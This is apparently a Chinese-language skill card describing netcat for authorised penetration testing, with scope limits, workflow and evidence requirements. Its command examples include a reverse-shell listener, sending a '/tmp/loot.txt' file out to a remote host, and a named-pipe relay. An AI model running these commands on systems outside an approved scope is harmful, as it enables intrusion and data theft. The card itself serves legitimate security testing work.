SuperAPI AI 工具集

netcat

安全与审计

查看项目

更新于 10-16 06:42

技能介绍

用途:在授权渗透测试中,用低开销方式验证套接字与网络路径,包括 TCP/UDP 可达性、banner 抓取和监听器行为。主要对应发现与侦察、验证与受控影响演示阶段,次要用于复测与收尾。

适用情形:需要确认 TCP 或 UDP 是否可达;需要简单的监听或 banner 测试;需要对网络路径或传输路由做最小化证明。不适用情形:网络路径未获明确批准;临时监听器或传输会超出约定的影响级别。

输入:已批准的 host 与 port 范围、连通性检查方向、停止条件与日志要求。

流程:保持 host 与 port 范围最小;只验证特定的可达性或 banner 问题;记录所用监听或客户端的确切参数;路径被确认或排除后即停止;验证完成后立即拆除监听器。

命令示例(将示例主机与端口替换为已批准范围内取值):

Connect and grab a banner

nc -nv 10.10.10.100 80

Listen for a reverse shell connection

nc -lvnp 4444

Send a file

nc -nv 10.10.10.1 4444 < /tmp/loot.txt

Receive a file

nc -lvnp 4444 > /tmp/received.txt

Manual HTTP request

printf 'GET / HTTP/1.0\r\nHost: portal.contoso.com\r\n\r\n' | nc portal.contoso.com 80

Pipe-based relay

mkfifo /tmp/backpipe && nc -lvnp 4444 < /tmp/backpipe | nc 10.10.10.100 80 > /tmp/backpipe

需留存证据:已批准的网络路径或监听器是否生效、所用确切 host、port 与方向、修复所需的最小证明。

安全边界:仅在明确批准的 host 与 port 范围内使用;监听器保持短时存活并完整记录。其他细节暂未提供。